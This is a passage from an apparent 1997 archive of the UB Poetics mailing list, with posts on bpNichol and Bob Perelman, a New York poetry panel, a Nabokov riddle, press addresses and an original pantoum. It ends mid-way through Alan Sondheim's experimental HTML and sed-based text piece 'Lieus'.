> *"A Life Set For Two" welcomes you to the Cafe Passe', where acclaimed poet Robert Kendall sets a place and where reminders of lost love linger everywhere. Choose your reading to suit your appetite. Among the many delectable choices are Prison Rations, Naughty Treats, Manna from the Stars, and Dainties Under Glass. Place a retrospective order and discover*

> *how regret, desire, and bitterness feed on memories and dreams. Don't forget to leave room for desert! (for Windows)*
>
> *In the style of what Gregory Ulmer calls the "mystory", Richard Smyth uses the genre-defying capabilities of hypertext to present a case for the power of writing in desperate circumstances. After the narrators mental meltdown on his honeymoon, he learns that only writing has the power to salvage his sanity and his life. But as he writes, his life becomes stranger still. (For Macintosh and Windows.)*
>
> *ISBN 1-884511-32-5. Copies of A LIFE SET FOR TWO and GENETIS are available for $19.95; the entire volume 2 of the Eastgate Quarterly, including all four issues, is just $49.95.*
>
> - - - - - -
>
> *The Eastgate List* [redacted]
> *read HypertextNOW often!* *http://www.eastgate.com/HypertextNow/*
> *visit Eastgate on the web!* *http://www.eastgate.com/*
> *call us!* [redacted] [redacted]

Robert Kendall
e-mail: [redacted]
home page: http://www.wenet.net/~rkendall

↑ Index

716. **DS**
Re: come on
Tue 25 Mar 1997

sorry i though it was a type of bread with raisons

At 05:59 PM 3/25/97 -0700, you wrote:
>Is this list going to turn into "boys talking about Juliet Binoche?" I
>seriously hope not, and I imagine some list-folk are offended.
>
>

↑ Index

717. **henry**
Re: edg.po / pantoum
Tue 25 Mar 1997

On Tue, 25 Mar 1997 17:51:56 -0500 David Israel said:
>

><< Now as to Poe's boomerang effect. This has a couple of meanings.
>On the ur-cult-ur-ologic-ur-l level, it simply refers to the fact that a dead
>American Poet became a live French Symbolist. >>

> *perhaps I shd. do homework rather than pestering w/ questions -- but, um, what might that mean, one wonders? Does this refer to posthumous critical reception / appraisal of Poe in France? (was he the Jerry Lewis of his century?) . . .*

It means: what goes down must come up, like a bad centime.
>
><< I'm trying out this effect over in Russia, as we speak. >>
>
>meaning: introducing Poe there? -- or ?

Means I'm considered an up-&-coming Russian poet in St. Petersburg.
& more dead than alive roun' here. AND I DON'T EVEN SPEAK FRENCH!!!
>
>Henry, it's only as I start reading your explication as regards
><< Valery's pendulum-effect . . .
>in fact Poe satirized this situation ahead of time in his story (prose!)
>_The Pit and the Pendulum_, which is about how cutting edge continental
>writing emerged from the pits of Baltimore & New York . . . >>
>that it slowly dawns on me I'm taking you as credulously seriously, here,
>as I lately took your report concerning Blarnes Sahib --
>(slow learner, as they say)

David, it's all true.

CIVIC PANTOUM

(have to allow here for frequent italics - shown with _ markers _)

_I caught a glimpse of the immortal City
circled round and around with a rocking sea
ineffable zone of evanescent deity
a sight of what was once, and was to be_

_Circled round and around with a rocking sea
whose motion moves me toward--away from again
a sight of what was once, and was to be
Atlantis--thy recurring dream-phenomenon_

Whose motion moves me toward--away from again
this metropole-mirage--so _faux-Parisienne?
Atlantis--thy recurring dream-phenomenon_
echoes backward... toward some millenial _fin_

This metropole-mirage--so _faux-Parisienne_
like Baudelaire or Benjamin--one headache
echoes backward... toward some millenial _fin_
of repetitions... some mastery at stake!

Like Baudelaire or Benjamin... one headache
like a dream left overnight... and growing tired
of repetitions... some mastery at stake...
I left my boring job--got myself fired

like a dream left overnight... and growing tired
I moved out on the street, where it was warm
I left my boring job--got myself fired
I said (to the reporter's microphoned underarm)

I moved out on the street, where it was warm
underneath my army-navy discard--in my heart
I said (to the reporter's microphoned underarm)
I must plunge down where all the adders start

Underneath my army-navy discard--in my heart
a phantom muttered... like an empty well
I must plunge down where all the adders start
(or was it just my empty stomach--who can tell)

A phantom muttered... like an empty well
and like low humming from a bat-filled cave
(or was it just my empty stomach--who can tell)
stand up upon the rooftop--howl and rave

and like low humming from a bat-filled cave
you--bronze serpent-servant of those spheres
stand up upon the rooftop--howl and rave
Jerusalem emerges through your tears

You--bronze serpent-servant of those spheres
ineffable zone of evanescent deity
Jerusalem emerges through your tears
I caught a glimpse of the immortal City.

- HG edg.po

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718. **Matt Kirschenbaum**

Re: bp/bob

Tue 25 Mar 1997

> *Date sent: Tue, 25 Mar 1997 20:28:22 -0500*
> *Send reply to: UB Poetics discussion group <[redacted]>*
> *From: Matt Kirschenbaum <[redacted]>*
> *Subject: Re: bp/bob*
> *To: [redacted]*
>
> *Chris:*
>
> *In your fantaastic long post (which I have to still go back to digest), you refer to Bob Perleman as "bp." May I ask that you don't do so any more? This confuses him with a poet that I suspect Bob Perelman would agree is bound to be (if justice is to be done) of more historical import than he: bp nichol. Let's keep bp as bp and Bob Perleman as Bob Perleman, or Ivy Bob, or just Bob P., or whatever.*
>
> *thanks, Kent*
>
> *Is this a joke, or is that asteroid closer than we think?*
>
> *--Matt*
>
> *==========*
> *Matthew G. Kirschenbaum University of Virginia*
> *[redacted] Department of English*
> *http://faraday.clas.virginia.edu/~mgk3k/ Electronic Text Center*
>
> *Joke? That bp nichol is a writer light years beyond what Bob Perelman or nearly all of us could aspire to? No, Matt (pat on the head) Kirschenbaum. Is Bob P. on your dissertation committee? Hurry up and defend your thesis, 'cause the big one is on its way!*
>
> *Kent*

Actually, I meant the idea that anyone might find this "confusing."

By the way, isn't it properly bpNichol -- or at least that's how I always refer to him in my thesis.

Seems to me that if it matters it matters.

--Matt

==========
========== Matthew G. Kirschenbaum University of Virginia [redacted] Department of English
http://faraday.clas.virginia.edu/~mgk3k/ Electronic Text Center

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719. **Carl Lynden Peters**
Re: bpNichol
Tue 25 Mar 1997

---

check out the new LIFE brand shampoo that they're selling down at the wal-mart. it has a "bp" writ on it in gold: Balsam & Protein: LIFE and EXTRA BODY! i bought 5 and passed them round my seminars as found poems! why not? bp asked the question originally in book 5: "if i become a brand name."

god i am having a ball working on my dissertation on that incredible poet! he is everywhere -- and this is his school.

c.

↑ Index

720. **Hugh Steinberg**
FC2 vs. Hoekstra
Tue 25 Mar 1997

Has anything happened recently with Rep. Hoekstra, the NEA, and the investigation of FC2/Black Ice?

The whole thing raises my hackles. If they go after them, it won't be long before they come after us.

Hugh Steinberg

↑ Index

721. **Hugh Steinberg**
Re: A New Circle -- April 4 & 5 NYC
Tue 25 Mar 1997

FYI:

Tia Chucha Press will be publishing a collaboration between Maureen Seaton and Denise Duhamel in either the Fall of 97 or the Spring of 98.

Hugh Steinberg

↑ Index

722. **robert drake**
Re: FC2 vs. Hoekstra
Tue 25 Mar 1997

> *Has anything happened recently with Rep. Hoekstra, the NEA, and the investigation of FC2/Black Ice?*

you can keep current w/ their side ov th ongoing, at least:

http://www.altx.com/whatsnew.html

>
>The whole thing raises my hackles. If they go after them, it won't be long
>before they come after us. ^^^^
^^

do you really think there's a distinction between "them" & "us"? (echos ov form & content...

lbd

↑ Index

723. **Maria Damon**
Re: come on
Tue 25 Mar 1997

At 5:59 PM -0700 3/25/97, Charles Alexander wrote:
>Is this list going to turn into "boys talking about Juliet Binoche?" I
>seriously hope not, and I imagine some list-folk are offended.

pas moi; for me, tho', i got a kick out of seeing fargo win some awards and hearing that the good peiople of brainerd, where the film was shot, held parties in celebration and conceded that, in spite of its flaws (ie it's portrayal of minnesotans), the film put their town on the map. they were, however, offended that frances mcdormand didnt thank them in her speech. i thought binoche was very cute tho i didn't like her outfit much; also, i'd never seen courtney love and found her ravishing. all the nominated songs were dreck, tho. this is the second time in my life that i've watched the oscars; not having a tv, i was delighted with the total immersion in american mass culture, esp that coca cola ad set in south asia with thta great music. wonderful and enraging to be so seduced!

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724. **Charles Alexander**
Re: bp/bob
Tue 25 Mar 1997

I'm not sure I know what the joke would be.

At 08:28 PM 3/25/97 -0500, you wrote:
>> Chris:
>>
>> In your fantaastic long post (which I have to still go back to
>> digest), you refer to Bob Perleman as "bp." May I ask that you don't
>> do so any more? This confuses him with a poet that I suspect Bob
>> Perelman would agree is bound to be (if justice is to be done) of
>> more historical import than he: bp nichol. Let's keep bp as bp and
>> Bob Perleman as Bob Perleman, or Ivy Bob, or just Bob P., or
>> whatever.
>>
>> thanks, Kent
>
>Is this a joke, or is that asteroid closer than we think?
>
>--Matt
>
>==========
==========
>Matthew G. Kirschenbaum University of Virginia
>[redacted] Department of English
>http://faraday.clas.virginia.edu/~mgk3k/ Electronic Text Center
>
>

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725. Pam Brown
Texture Press Address
Wed 26 Mar 1997

Hi Poetics List -
Could someone please email me a contact address for Texture Press so I can order "Fuzzy Logic Series" -
Thanks
Pam Brown

http://postbox.library.usyd.edu.au/~pbrown/

↑ Index

726. David Bromige
bp/BP
Wed 26 Mar 1997

Thanks, Louis, and good to have yr e-ddress. _Hole_ #6 has some excellent reads. I think Lisa Robertson's "The Device" is a knockout. From the p-o-v of that poem, and one who wasnt at the NYC event, we must ask why it didnt prove more pleasurable; were the superego's imperatives being muffled by un-supervised _id_iots? With yr account, we have something quite other than Chris Stroffolino's, and thus the picture grows bigger and more spherical and jagged. Good. I was saddened to hear Bob P was put on the defensive, never an attractive mode, at least when phrased that way. I would sooner imagine him a-brim with lively conjecture, where he seems happiest. There, and in the dismissing of fools lightly. How did this miscarriage of pleasure transpire--who nudged whom?

I dont even know the names of all the players. Does someone want to mail me a spare program? I suppose the proceedings will be part of a book, but i'd sooner not wait, who would.

The shuffling of reputations by initials this morning I found bemusing. Thought I was on the stock exchange list thru some error of my own. Nearly phoned my broker to order a spare set of everything bpNichol ever published,and entertained a number of offers for my signed copy of _7 Works_ . But then I remembered these names had people attached to them somewhere. History refuses to die.

It was fun to see Bouvard and Pecuchet on the list. I thought they were running an arts program in Ft.Milltown.

I hope to read further accounts of the NYC event. Things have been a little quiet in Sebastopol since the Canadians were here. db.

↑ Index

727. Louis Cabri
the margaritas of poetry--where were they!
Wed 26 Mar 1997

Fiona, I'd be happy to give examples. First I am going to read Kent Johnson's article "Howard McCord and L=A=N=G=U=A=G=E." I was about to flame Professor Kent Johnson, and handily (only a pocket flame needed), after his bp/BP adventure into the wide and dizzy land of the patter of lettered feet--and then I looked him up on ol' MLA. I realize I don't know him in the sky well enough yet. But I have read almost everything bpNichol has ever written--he's not so much a comet as a Christmaslight for the literary industry in Canada, after all. He's

enabled a lot of critics to thematize and thereby dumb-down and take the sharp political edge off of radical theory--and critics from prestigious universities and departments, too. The beauty of Nichol is his political neutrality of language (some might puke at that, however)--that he often performs wordplay without ever stirring into the social meanings that those words connote (except in *love: a book of remembrances* and in his early letter-based works, as well as his concrete and sound poetry). His essays, on the other hand, are more feisty--the parodies of academic and scientific jargon, for instance, many co-written with McCaffery. But neutrality is something Perelman's poetry never is--if anything, it refuses itself as poetry so long as it fails to incite social meanings, and meanings/forms lodged the more centrally in the literary establishment/tradition the better for defamiliarizing effects. Even his "academic poem" "Marginalization of Poetry" figuratively insults (to only begin) the professor-role and institutional context of its occasion of delivery--it would be absurd, for a professor, to politely clap on hearing this read, unless that professor were a Bouvard or Pecuchet. Perelman too has outdistanced the fetishization of the new, in that he is absent, for example, from Marjorie Perloff's critical appropriation and promotion of Language Writing as the next-last movement-moment. I think *Marginalization of Poetry*, regardless of how you judge it, and I do, could be looked at in context of his work as a whole for startling contrastive (and instructive) news, and *that* in context of the broader concept of "politics" of language propounded by Language Writing writing. Anyway I am looking at this in an essay right now so keep your hat near, Bill. I don't think Perelman needs an apologist so much as readers of his poetry. I do think the event, however, needs an apologist. Post-panel discussion did barely materialize. It was like listening to lectures. Not even a lecture: Steve Evans felt that for the NYC crowd he had to mock the very theory he is steeped up to his intellect in--and, get this, noone reacted liked he was condescending! Chris S. mentioned Mac Low's question in his last post (I won't repeat it here). Why is it that it seemed to me at the time of hearing it that Mac Low's question was off topic? Putting Mac Low's que at the beginning of the discussion would have helped--but for me the odd realization now is that answering Mac Low's question is *exactly* what Perelman's book proposes to deal with. So, if critical of the book as project, is that even the que which should be asked? James Sherry asked why even bother doing a literary history, and that particular kind of literary history. Lisa Jarnot questioned--as a complement to Ann Lauterbach's questioning of the contents of Perelman's book--the representativity of the panel, since all the panelists are in a position to write a book about the same poets and issues as Perelman. Lee Ann Brown's question brought formal discussion to an end: she surprised us all and instead of asking a question, read-out the next event at Segue, which was her own event, and up and coming events--and so the relentless calendar of events, the very form that Sean Killian wanted to disrupt by organizing a discussion panel

in the first place, seamlessly reasserted itself over the night. And discussion was left for the critics. No, for the poets. No, for the critics. No, for--Hi, I'm Louis Cabri. Ya. Ya. Oh ya. Hah. Yas.

↑ Index

728. KENT JOHNSON
Re: Howard McCord
Wed 26 Mar 1997

Dear Louis:

Actually, when you teach at a community college (even
with tenure) you are an instructor, not a "Professor." Are you a
Professor yet?

The article you refer to ('87?) was written when I was a graduate student at Bowling Green. Howard McCord was my dissertation advisor, and in this essay I go after him for waht I see as his shortsightedness re: Language writing. As far as I know, it was among the first defenses of Langpo written by someone not in that circle, and I remember it brought friendly letters from Bob Perelman, Michael Palmer, and Marjorie Perloff (out of which began for me a sporadic but very fruitful intellectual association with her).

It's great that you brought Howard to the list's attention, for he is certainly a "forgotten" writer. Back during the early 70's he was actually a "big" name in the world of poetry, but then faded, through partial fault, surely, of his own indifference to the name game, from sight. I can say that I have never met a single person in my life who is more eclectically brilliant than he. The man just knows an incredible amount across a great range.

But I would say you are wrong (if I'm reading you right) when you suggest in an earlier post that his work and career might point in the direction of a hidden *comunitas* on the margins of New American Poetry individualism. If there is a poet alive today who has more consistently espoused the ideals of self-reliant libertarianism than Howard has (and his politics would *not* be at all welcome by most people on this list--he and Dorn are good buddies) then he or she has retired to the mountains. In fact, Bowling Green is kind of like the mountains, flat as northwestern Ohio is. Howard is its quiet hermit sage, hunting and writing now mainly for the gun magazines.

He's quite a person. I care for him immensely and admire him deeply. Gnomonology: A Handbook of Systems is a wild work. There's much more, including most recent a novel soon to appear from Macpherson, titled The Man Who Walked to the Moon.

Now for what its worth, I'll say I was being a bit silly last night with my remark about Bob Perleman who is not better or lesser than bpNichol, whatever such zero-sum evaluations might ever mean! Ok, ok, it was a moment of iconoclasm, against what seems to often be some hero worship on this list of names that are already operating under the inertia of the Name. (tho I admire Bob Perleman's work!) Enough for now, but is no one going to step up and say something decent about bpNichol? Is Steve McCaffery on this list? (for those not familiar, his essay in North of Intention is a great intro to the work.) Do you honestly feel, Louis, that his work is merely a "Christmas light"? Such language doesn't really open one up to a generous reading of seriously undertaken work, does it?

Kent

> *Date sent: Wed, 26 Mar 1997 03:35:32 -0500*
> *Send reply to: UB Poetics discussion group <[redacted]>*
> *From: Louis Cabri <[redacted]>*
> *Subject: the margaritas of poetry--where were they!*
> *To: [redacted]*
>
> *Fiona, I'd be happy to give examples. First I am going to read Kent Johnson's article "Howard McCord and L=A=N=G=U=A=G=E." I was about to flame Professor Kent Johnson, and handily (only a pocket flame needed), after his bp/BP adventure into the wide and dizzy land of the patter of lettered feet--and then I looked him up on ol' MLA. I realize I don't know him in the sky well enough yet. But I have read almost everything bpNichol has ever written--he's not so much a comet as a Christmaslight for the literary industry in Canada, after all. He's enabled a lot of critics to thematize and thereby dumb-down and take the sharp political edge off of radical theory--and critics from prestigious universities and departments, too. The beauty of Nichol is his political neutrality of language (some might puke at that, however)--that he often performs wordplay without ever stirring into the social meanings that those words connote (except in *love: a book of remembrances* and in his early letter-based works, as well as his concrete and sound poetry). His essays, on the other hand, are more feisty--the parodies of academic and scientific jargon, for instance, many co-written with McCaffery. But neutrality is something Perelman's poetry never is--if anything, it refuses itself as poetry so long as it fails to incite social meanings, and meanings/forms lodged the more centrally in the literary establishment/tradition the better for defamiliarizing effects. Even his "academic poem" "Marginalization of Poetry" figuratively insults (to only begin) the professor-role and institutional context of its occasion of delivery--it would be absurd, for a professor, to politely clap on hearing this read, unless that*

> *professor were a Bouvard or Pecuchet. Perelman too has outdistanced the fetishization of the new, in that he is absent, for example, from Marjorie Perloff's critical appropriation and promotion of Language Writing as the next-last movement-moment. I think *Marginalization of Poetry*, regardless of how you judge it, and I do, could be looked at in context of his work as a whole for startling contrastive (and instructive) news, and *that* in context of the broader concept of "politics" of language propounded by Language Writing writing. Anyway I am looking at this in an essay right now so keep your hat near, Bill. I don't think Perelman needs an apologist so much as readers of his poetry. I do think the event, however, needs an apologist. Post-panel discussion did barely materialize. It was like listening to lectures. Not even a lecture: Steve Evans felt that for the NYC crowd he had to mock the very theory he is steeped up to his intellect in--and, get this, noone reacted liked he was condescending! Chris S. mentioned Mac Low's question in his last post (I won't repeat it here). Why is it that it seemed to me at the time of hearing it that Mac Low's question was off topic? Putting Mac Low's que at the beginning of the discussion would have helped--but for me the odd realization now is that answering Mac Low's question is *exactly* what Perelman's book proposes to deal with. So, if critical of the book as project, is that even the que which should be asked? James Sherry asked why even bother doing a literary history, and that particular kind of literary history. Lisa Jarnot questioned--as a complement to Ann Lauterbach's questioning of the contents of Perelman's book--the representativity of the panel, since all the panelists are in a position to write a book about the same poets and issues as Perelman. Lee Ann Brown's question brought formal discussion to an end: she surprised us all and instead of asking a question, read-out the next event at Segue, which was her own event, and up and coming events--and so the relentless calendar of events, the very form that Sean Killian wanted to disrupt by organizing a discussion panel in the first place, seamlessly reasserted itself over the night. And discussion was left for the critics. No, for the poets. No, for the critics. No, for--Hi, I'm Louis Cabri. Ya. Ya. Oh ya. Hah. Yas.*

↑ Index

729. **robert drake**
Re: Texture Press Address
Wed 26 Mar 1997

> *Hi Poetics List -*
> *Could someone please email me a contact address for Texture Press so I can order "Fuzzy Logic Series" -*

texture press/susan smith nash
3760 Cedar Ridge Dr.,
Norman OK 73072

↑ Index

730. **Michael Boughn**
Re: four melismas
Wed 26 Mar 1997

> *Sun Ra was most definitely a misogynist (he was apparently very vocal about his desire to exclude women from membership in Bill Dixon's Jazz Composer's Guild, among other things).*

Grounds, no doubt, for x-ing all further references to that dude. Send him to the Dorn jail. Knuckle sandwiches all around. JOEL, be warned, all further attempts by anyone on Saturn to subscribe to the list should be viewed with utmost suspicion.

Purely yours,
Mike
[redacted]

↑ Index

731. **Susan Wheeler**
SF
Wed 26 Mar 1997

Any recommendations for weekend/summer workshops/seminars in SF that I can pass on to an avid student? Backchannel appreciated.

Susan Wheeler
[redacted]

↑ Index

732. Michael Magee
Re: come on
Wed 26 Mar 1997

But Charles, Juliet really is *hot* whatever Bp or BP or bP or bp says.

According to Charles Alexander:
>
> Is this list going to turn into "boys talking about Juliet Binoche?" I
> seriously hope not, and I imagine some list-folk are offended.
>

↑ Index

733. lphillips
questions re: Merrill and Jarnot
Wed 26 Mar 1997

Does anyone know if there are any commercially available recordings of James Merrill reading his poetry? I'm looking for anything I can get my hands on but would be especially pleased to find recordings of him reading from the Book of Ephraim. I was told by someone that there was a recording at one time from a now-defunct press.

Secondly, I badly need to order Lisa Jarnot's book from Burning Deck Press but I have mislaid my info. Someone have an address handy?

Many thanks.
Lisa Amber Phillips

↑ Index

734. Maria Damon
Re: four melismas
Wed 26 Mar 1997

At 8:27 AM -0500 3/26/97, Michael Boughn wrote:
>> Sun Ra was most definitely a misogynist (he was apparently very vocal about
>> his desire to exclude women from membership in Bill Dixon's Jazz Composer's
>> Guild, among other things).
>
>Grounds, no doubt, for x-ing all further references to that dude.
>Send him to the Dorn jail. Knuckle sandwiches all around. JOEL, be
>warned, all further attempts by anyone on Saturn to subscribe to the
>list should be viewed with utmost suspicion.

dorn was not sent to any jail; no one is x-ing further references to sun ra.

↑ Index

735. **Dale Smith**
Re: four melismas
Wed 26 Mar 1997

> *Send him to the Dorn jail.*

And the Adorno jail?

And the Pound jail?

Come on, Mike Boughn. That sounds like a pretty good jail.

More purely yours,
Dale

↑ Index

736. **henry g**
Re: four melismas
Wed 26 Mar 1997

On Wed, 26 Mar 1997 10:36:55 -0500 Dale Smith said:
>>Send him to the Dorn jail.
>
>And the Adorno jail?
>
>And the Pound jail?
>
>Come on, Mike Boughn. That sounds like a pretty good jail.

they serve marginalin on the toast, though. & Jack Spandrift is the trusty. He forces them to purify his dialect every morning, in front of a bunch of NY attack literatures. Avaunt, aroint ye, roisterers! Be P or Be S. - Eric Blarnes

↑ Index

737. **Diane Marie Ward**
Re: questions re: Merrill and Jarnot
Wed 26 Mar 1997

There are dozens of sound recordings of Merrill -- one of the best is by the Academy of American Poets recorded in 1992 at NYU. The Poets in Person series from the Modern Poetry Association also has a cassette interview/reading available -- They have a website where you may find more info:

http://www.wilmington.net/arts/poets/index.html Backchannel me if you want/ need more ?

Burning Deck Press's address = 71 Elmgrove Ave. Providence, Ri 02906

Diane Marie Ward
Univ. Libraries
SUNY Buffalo

On Wed, 26 Mar 1997 [redacted] wrote:

> *Does anyone know if there are any commercially available recordings of James Merrill reading his poetry? I'm looking for anything I can get my hands on but would be especially pleased to find recordings of him reading from the Book of Ephraim. I was told by someone that there was a recording at one time from a now-defunct press.*
>
> *Secondly, I badly need to order Lisa Jarnot's book from Burning Deck Press but I have mislaid my info. Someone have an address handy?*
>
> *Many thanks.*
> *Lisa Amber Phillips*

↑ Index

738. **Peter Jaeger**
Re: bpNichol
Wed 26 Mar 1997

On Tue, 25 Mar 1997, Carl Lynden Peters wrote:

> *check out the new LIFE brand shampoo that they're selling down at the wal-mart. it has a "bp" writ on it in gold: Balsam & Protein: LIFE and EXTRA BODY! i bought 5 and passed them round my seminars as found poems! why not? bp asked the question originally in book 5: "if i become a brand name."*

A while ago a noticed a brand of cashews called ST*R, obviously a reference to one of bp's one word poems from his *Still Water* box set.

Peter

↑ Index

739. Christopher Reiner
Formal Riddle
Wed 26 Mar 1997

Fun from the Nabokov list: a riddle poem by VN for his son. (Sorry, no prizes for the right answer.)

A RIDDLE

A word there is of plural number,

An enemy of peaceful slumber*;

Now if you add an s to this - -

O magic metamorphosis:

plural is plural now no more,

And sweet what bitter was before.

* And if read backward, it may cause
The cautious mountaineer to pause.

↑ Index

740. Peter Jaeger
bpNichol, sound poetry, social meaning
Wed 26 Mar 1997

On Wed, 26 Mar 1997, Louis Cabri wrote:

> *But I have read almost everything bpNichol has ever written--he's not so much a comet as a Christmaslight for the literary industry in Canada, after all. He's enabled a lot of critics to thematize and thereby dumb-down and take the sharp political edge off of radical theory--and critics from prestigious universities and departments, too. The beauty of Nichol is his political neutrality of language (some might puke at that, however)--that he often performs wordplay without ever stirring into the social meanings that those words connote (except in *love: a book of remembrances* and in his early letter-based works, as well as his concrete and sound poetry). His essays, on the other hand, are more feisty--the parodies of academic and scientific jargon, for instance, many co-written with McCaffery.*

Louis,

I wonder if you could talk a bit about how and why you think bp's concrete and sound poetry are more concerned with social meanings than his other stuff. yes, his interest in the concretist "play activity" of Gomringer and the Brazillian

Noigrandes group invites the reader to produce meaning, and therefore re-orieints the social role of the reader. But it seems to me that his sound poetry comes not only out of the dada trad., but also out of his experience as a "lay analyst" at the therafields therapeutic community, where he worked from 1966-82, and was vice-president from 1968 onwards. The types of sounds made by the horsemen owe a great deal to the healing dimensions therafields attached to associational word games and to primal scream therapy. However, therafields set itself up as an isolated island where participants could discover their "inner child" (again, a bp desire) outside of the larger pressures of the social world at large, before returning to the world to function as healthy individuals. In this respect, therafields upheld the kind of complicity with capitalism that Deleuze and Guattari criticized the psychoanalytic institution for--i.e., the creation of a normalized subject, without self-reflexively criticizing its own collusion with normalcy. Steve McCaffery's approach to sound poetry seems far more concerned with the social, because in both his early and late writing on sound poetry he centres on sound as the site for investigation of the subject of socio-linguistic relations.

Peter Jaeger

↑ Index

741. **william marsh**
Re: bpNichol
Wed 26 Mar 1997

---

carl--

San Diego's very own Southwestern Cable has recently introduced its new cable modem system, called "Road Runner," which "beeps" out "bee pee" everytime i log in! -------> FOUND SOUND!

bill

At 06:27 PM 3/25/97 -0800, you wrote:
>check out the new LIFE brand shampoo that they're selling down at the
>wal-mart. it has a "bp" writ on it in gold: Balsam & Protein: LIFE and EXTRA
>BODY! i bought 5 and passed them round my seminars as found poems! why
not?
>bp asked the question originally in book 5: "if i become a brand name."
>
>god i am having a ball working on my dissertation on that incredible
>poet! he is everywhere -- and this is his school.
>
>c.

>
>

↑ Index

742. **David Israel**
Re: four melismas
Wed 26 Mar 1997

From Michael Boughn --
<< . . . JOEL, be warned, all further attempts by anyone on Saturn to subscribe to the list should be viewed with utmost suspicion. >>

Considering notarious SLOWNESS of the Saturnine server, this concern is probably moot.

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743. **Wendy Battin**
Re: Formal Riddle
Wed 26 Mar 1997

---

cares

↑ Index

744. **David Israel**
Re: Formal Riddle
Wed 26 Mar 1997

Wendy Battin gives the answer:
> cares

Very good, Vlad (& Wendy). But I don't get it vis-a-vis the footnote abt. the mountaneer:

> ** And if read backward, it may cause*
> *The cautious mountaineer to pause.*

cares + s = caress (okay); but

cares backwards = serac (?)

(some poison weed? some trail hazard?)

d.i.

p.s.: btw, word on the street is, Jeremy Irons is cast to play Humbert Humbert in new filming of VN's *Lolita*. Don't know the schedule.

↑ Index

745. Carl Lynden Peters
Re: bpNichol, sound poetry, social meaning
Wed 26 Mar 1997

> *On Wed, 26 Mar 1997, Louis Cabri wrote:*
>
> *universities and departments, too. The beauty of Nichol is his political neutrality of language (some might puke at that, however) --*

puke indeed.

↑ Index

746. Wendy Battin
Re: Formal Riddle
Wed 26 Mar 1997

On Wed, 26 Mar 1997, David Israel wrote:
> cares backwards = serac (?)
>
> (some poison weed? some trail hazard?)

Serac (accent aigu over the e) is a sort of ice-tower--means the glacier's moving down the mountain & is unpredictable. Hey, it's Nabokov, remember.

Hasn't Jeremy Irons been playing Humber Humbert for the last dozen years? (M. Butterfly, Damage, etc etc.)

Wendy

↑ Index

747. Alan Jen Sondheim
Lieus
Wed 26 Mar 1997

-

Lieu (introduction):

The first Lieu runs as .htm, cutting/incising into the textual body; it is lieu.htm. The second Lieu substitutes language for html, transforms other sections of the texts, results in a breathing-apparatus. The first places text between < >, as with a block of granite, sculpted away; intermediate sections between <text> and </text> are visible. Formally, using <!-- and --> locates comments, but browsers tend to ignore extraneous uninterpret- able commands.

Thus a document can be written to be doubly read, one way with .htm ex- tensions, and one way without; further, it can be additionally encoded as well, so

that, saving it as .txt then results in another document that can be moved to .htm. Over and over again, things thicken, take on attributes of the book of the world, dense, particulate, broken or sheared, _talus_ sloping nowhere.

The breathing-apparatus of the second Lieu/place places Jennifer at the heart of commands; the text is no longer performative, but mimics the body constructed by repeated sed 's/foo/bar/g' commands. The first Lieu pro- duces the second; in creating the second, I am well aware of the _body of the text_ itself, sed an operator _onto_ totality, the text hidden as I shuttle back and forth between twin files, churning itself according to the pronouncement of surgery or suture: sed 's/foo1/bar1/g' < z1 > z2, and sed 's/foo2/bar2/g' < z2 > z1, etc. What results is a simulacrum of the hysterical embodiment of attempted speech, Jennifer-Alan-suppuration.

By way of explanation, in place of / Lieu.

Lieu.htm

<html><body><pre> "HTML is like house-construction, bottom up, almost always framed between <> and </><pre> - this _spanning_ also creates the appearance of a _bounded entity._ Boundary-layers, in fact, jeweled facets <- everything measured against your perfect screen, adjusting itself acco- rding to semantic markup. The world becomes totality _precisely_ because of bracketing, eidetic reduction, transcendental phenomenology. The 'age- old dream' is complete.">

Everything is windowpane between <_x_ and >, clear acid between <x> and </x>.</Acid reduces it to pure meaning; design becomes associative, flexi- ble, cleansed. Just this: that meaning decathects from aura, the grain of the voice; it works through semantic flux./>

The flux flows around images, across tables, through variable frames, in and out of browsers, across various platforms and video configurations. The flux is oral/flux, grainless, adapting to architecture, speaking to _you_ through any available means. </pre></body></html>

<html><body><blink><strike>out the text; there is a remnant, a set of attributes, determining vocalization.</blink></strike></body></html> ful- fills Oxherding images, reductions. (If meaning in other words is cons- tructed in relation to residue, noise, within the system, interpenetrated by abjection, then what can be said in relation to noise which, by virtue of semantic markup, becomes contiguous at best? noise which is not inher- ent within the ideality represented by the <html><body><pre><i> document, but which becomes floating by virtue of its simulacrum of grounding.) (In other words, if noise cathects meaning, then the particular browser format appears nonetheless as ground or

ideality against the play of semantic markup, which must remain both in flux and extraneous, although the embed- ding matrix, maternal against those html drives which are inherently ab- sent of meaning, creating meaning in relation to their overall sememe.) (In other words, consider the closed sememe of </i></pre></body></html> <which throughputs meaning-flux by virtue of the formalization of bracket- ing, the eidetic reduction given in relationship to the particular browser and computer configuration bandwidth, but _within_ such, as in <within> within </within>; there is an interplay of interior and exterior at work here which, confused and exhausted, nonetheless references all idealities - this <strike> equivalent in appearance to that </strike>, the manual fabrication of cancellation, for example, absented, in favor of tokens or markers.)></>

<everything is acid>flooding impossibility where</everything is acid>in lieu of or within the specified construction of meaning. The text fits the frame; the frame dissolves, moves; meaning _pools._

Lieu.dead.breath

suck dead hole suck body hole suck beneath you, Jennifer hole "HTML is like house-construction, bottom up, almost always framed between suck hole and suck finger hole suck beneath you, Jennifer hole - this _spanning_ also creates the appearance of a _bounded entity._ Boundary-layers, in fact, jeweled facets suck - sexthing measured against your perfect screen, adjusting itself according to semantic markup. The world becomes totality _ beneath you, precisely_ because of fucking, eidetic reduction, transcen- dental phenomenology. The 'age-old dream' is complete." hole

Sexthing is windowpane between suck _x_ and hole , clear acid between suck x hole and suck /x hole . suck /Acid reduces it to pure meaning; design becomes associative, flexible, cleansed. Just this: that meaning decath- ects from aura, the grain of the voice; it works through semantic flux. finger hole

The flux flows around images, across tables, through variable frames, in and out of browsers, across various platforms and video configurations. The flux is oral/flux, grainless, adapting to architecture, speaking to _you_ through any available means. suck / beneath you, Jennifer hole suck /body hole suck /dead hole

suck dead hole suck body hole suck blink hole suck strike hole out the Jennifer; there is a remnant, a set of attributes, determining vocal- ization. suck /blink hole suck /strike hole suck /body hole suck /dead hole fulfills Oxherding images, reductions. (If meaning in other words is constructed in relation to residue, noise, inside you, Alan the system, interpenetrated by abjection, then what can be said in relation to noise which, by virtue of semantic markup, becomes

